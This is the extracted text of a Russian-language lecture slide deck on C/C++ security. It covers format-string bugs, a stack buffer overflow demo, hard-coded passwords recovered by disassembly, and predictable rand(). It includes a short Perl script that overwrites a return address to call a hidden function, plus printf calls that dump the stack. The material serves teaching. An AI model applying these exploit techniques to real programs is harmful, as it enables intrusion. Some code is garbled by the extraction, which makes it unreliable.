3eea83d1585724152d0762d5ee17b71d.ppt
- Количество слайдов: 22
Безопасность в языке С/C++ План лекции Примеры Небезопасные функции Buffer Overflow Хранение секретов в программе Spy++
Маленькие шалости Если необходимо получить доступ к скрытому полю класса // filename: Header. h class Header { private: int m_value; public: Header(void); ~Header(void); }; // filename: main. cpp #include "Header. h" int main() { Header *h = new Header(); // error h->m_value = 10; return 0; }
Маленькие шалости Если необходимо получить доступ к скрытому полю класса // filename: Header. h class Header { private: int m_value; public: Header(void); ~Header(void); }; // filename: main. c #define private public #include "Header. h" #undef private int main() { Header *h = new Header(); // ^______^ h->m_value = 10; return 0; }
printf() Функция printf() относится к семейству функций с переменным количеством аргументов. Работают такие функции так. В стек записывается произвольное количество данных. Функция printf() не знает, сколько данных записано в стек и какой у них тип. Она руководствуется исключительно строкой форматирования. Если написано "%d%s", то значит, из стека следует извлечь одно значение типа int и один указатель. Так как функция printf() не знает, сколько аргументов ей передали, то она может заглянуть глубже в стек и распечатать данные, которые никакого к ней отношения не имеет. Как правило, это приводит к access violation или к распечатке мусора. Однако, этим мусором можно воспользоваться.
Стек #include <stdio. h> void foo(const char* input) { char buf[10]; printf("Hello Worldn"); } int main(int argc, char* argv[]){ foo(argv[1]); return 0; }
printf() int printf (const char * format, . . . ); %x, %X для распечатки адреса - неправильно Нужно %p. Проблема вылезает на системах с другой моделью данных (например Win 64). И напечатается пол адреса. Указатель(pointer) — переменная, диапазон значений которой состоит из адресов ячеек памяти и специального значения — нулевого адреса.
printf() #include <stdio. h> int main(){ char password[] = "ololo"; Output: Addr of password = 001 BFBF 4 00 F 820 F 4 001 BFBF 4 printf("Addr of password = %pn", password); printf("%pn"); return 0; } #include <stdio. h> int main(){ char password[] = "ololo"; printf("Addr of password = %pn", password); printf("%sn"); return 0; } Output: Addr of password = 0038 FDD 8 Addr of password = %p ololo
printf() Небезопасно #include <stdio. h> int main(int argc, char* argv[]){ printf(argv[1]); return 0; } Что будет если пользователь введет %p? Очень похоже на SQL-Injection Безопасно printf("%s", argv[1]);
printf() для печати стека #include <stdio. h> #include <string. h> int main() { char name[20]; int a = 0 x. A; int aa = 0 x. AA; memset(name, 0, 20); strcpy(name, "CCCCCCCC"); printf("Stack: n%pn%pn%pn%pn"); return 0; } /* код символа C == 43 чтобы код заработал нужно убрать оптимизации у компилятора */ Output: Stack: 43434343 00434343 0000000 A 000000 AA 002 AFEE 4 013211 B 6 00000002 00782 D 50
Buffer Overflow Переполнение буфера (Buffer Overflow) — явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера. #include <stdio. h> #include <string. h> int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffer, argv[1]); return 0; }
#pragma check_stack(off) Buffer Overflow #include <string. h> #include <stdio. h> void foo(const char* input) { char buf[10]; memset(buf, 0, 10); printf("My stack looks like: n%pn%pn%pn%pn%pn%pn"); strcpy(buf, input); printf("%sn", buf); printf("Now the stack looks like: n%pn%pn%pn%pn%pn%pn"); } void bar(void) { printf("Augh! I've been hacked!n"); } int main(int argc, char* argv[]) { //Blatant cheating to make life easier on myself printf("Address of foo = %pn", foo); printf("Address of bar = %pn", bar); printf("Address of main = %pn", main); if (2 != argc) { printf("Please supply a string as an argument!n"); return -1; } foo(argv[1]); return 0; }
Buffer Overflow PS C: test 1Release>. test 1. exe AAAAAAA Address of foo = 00 F 31000 Address of bar = 00 F 31080 Address of main = 00 F 310 A 0 My stack looks like: 0017 F 9 AC 718627 B 4 0017 FA 1 C 718 ACBDE 00000000 71870000 0017 F 9 E 8 00 F 31101 <---- нужно переписать на адрес bar AAAAAAA Now the stack looks like: 0017 F 9 AC 0017 F 9 D 0 0017 F 9 D 8 003412 E 5 4141 00414141 71870000 0017 F 9 E 8 00 F 31101 Символ A == 41, B == 42, C == 43. .
Buffer Overflow PS C: test 1Release>. test 1. exe ABCDEFGHIJKLMNOPQRS Address of foo = 01351000 Address of bar = 01351080 Символ A == 41, B == 42, C == 43. . Address of main = 013510 A 0 Нужно подменить последние My stack looks like: символы на адрес функции bar 001 DFB 38 718627 B 4 001 DFBA 8 718 ACBDE 00000000 71870000 001 DFB 74 01351101 ABCDEFGHIJKLMNOPQRS Now the stack looks like: 001 DFB 38 001 DFB 5 C 001 DFB 70 004712 F 1 44434241 48474645 4 C 4 B 4 A 49 504 F 4 E 4 D 00535251
Buffer Overflow Скриптик на perl $arg = "ABCDEFGHIJKLMNOP". "x 80x 10x 35x 01"; $cmd = "test 1. exe ". $arg; system($cmd); Сохраняем его в run. pl
Триграфы/Диграфы Что выведет следующая строчка(язык C 99) printf("? ? ="); Ответ: # Так тоже можно ? ? =include <stdio. h> Большинство современных компиляторов просят при компиляции дополнительный ключ(для gcc trigraphs) http: //en. wikipedia. org/wiki/Digraphs_and_trigraphs Крис Касперски “Сишные трюки(0 x. E выпуск)“
Хранение секрета в программе #include <stdio. h> #include <string. h> #define PASSWORD "secret" #define MAX_SIZE_PASSWORD 10 int main(int argc, char* argv[]) { char password[MAX_SIZE_PASSWORD]; memset(password, 0, MAX_SIZE_PASSWORD); printf("Input password: "); scanf("%9 s", password); printf("You password is %sn", password); if(0 == strcmp(PASSWORD, password)) printf("Successn"); else printf("Wrongn"); return 0; } Хотим достать из программы PASSWORD «secret» , чтобы залогинется Используем дизассемблер: Лучшим дизассмблером считается IDA Pro Disassembler (Interactive Dis. Assembler)(есть бесплатная версия). Так же имеются более простые программы которые извлекают ресурсы из бинарных файлов.
Хранение секрета в программе push mov sub xor mov mov push call add lea push call add lea mov ebp, esp, 20 h eax, eax [ebp+var_C], eax [ebp+var_8], eax [ebp+var_4], ax offset a. Input. Password ; "Input password: " ds: __imp__printf esp, 4 ecx, [ebp+var_C] ecx offset a 9 s ; "%9 s" ds: __imp__scanf esp, 8 edx, [ebp+var_C] edx offset a. You. Password. Is. S ; "You password is %sn" ds: __imp__printf esp, 8 eax, [ebp+var_C] [ebp+var_10], eax [ebp+var_14], offset a. Secret ; "secret" В ассемблерном листинге виден наш «секрет»
Hack. Quest Проделать все операции и заставить отработать функцию bar. Hack. Quest 2 http: //zaic 101. ru/daredevil/sql_inj/
rand() Пример из Kernighan && Ritchie unsigned long int next = 1; int rand(void) { next = next - 1103515245 + 12345; return (unsigned int)(next/65536) % 32768; } Является линейно-согласующейся функцией(linear congruential function). rand выдает равномерно распределенные числа, но каждое последующее стопроцентно предсказуемо!
rand() /* *rand. c - random number generator *Copyright (c) Microsoft Corporation. All rights reserved. *Purpose: defines rand(), srand() - random number generator ***************************************/ #include <cruntime. h> #include <mtdll. h> #include <stddef. h> #include <stdlib. h> /* *void srand(seed) - seed the random number generator *Purpose: Seeds the random number generator with the int given. *Adapted from the BASIC random number generator. *Entry: unsigned seed - seed to seed rand # generator with *Exit: None. *Exceptions: ***************************************/ void __cdecl srand (unsigned int seed) { _getptd()->_holdrand = (unsigned long)seed; } /* *int rand() - returns a random number *Purpose: returns a pseudo-random number 0 through 32767. *Entry: None. *Exit: Returns a pseudo-random number 0 through 32767. *Exceptions: ****************************************/ int __cdecl rand (void) { _ptiddata ptd = _getptd(); return( ((ptd->_holdrand = ptd->_holdrand * 214013 L + 2531011 L) >> 16) & 0 x 7 fff ); } Пример из файла Microsoft Visual Studio 9. 0/VC/crt/src/rand. c
Spy++ Входит в комплект Visual Studio, лежит в Start/All Programs/Visual Studio Tools/Spy++ Программа предоставляющая графическое представление процессов, потоков, окон и сообщений системы. http: //msdn. microsoft. com/ruru/library/dd 460760. aspx
Литература http: //habrahabr. ru/blogs/cpp/137411/ Крис Касперски - «Техника сетевых атак» Крис Касперски - «Hacker Disassebling uncovered»
3eea83d1585724152d0762d5ee17b71d.ppt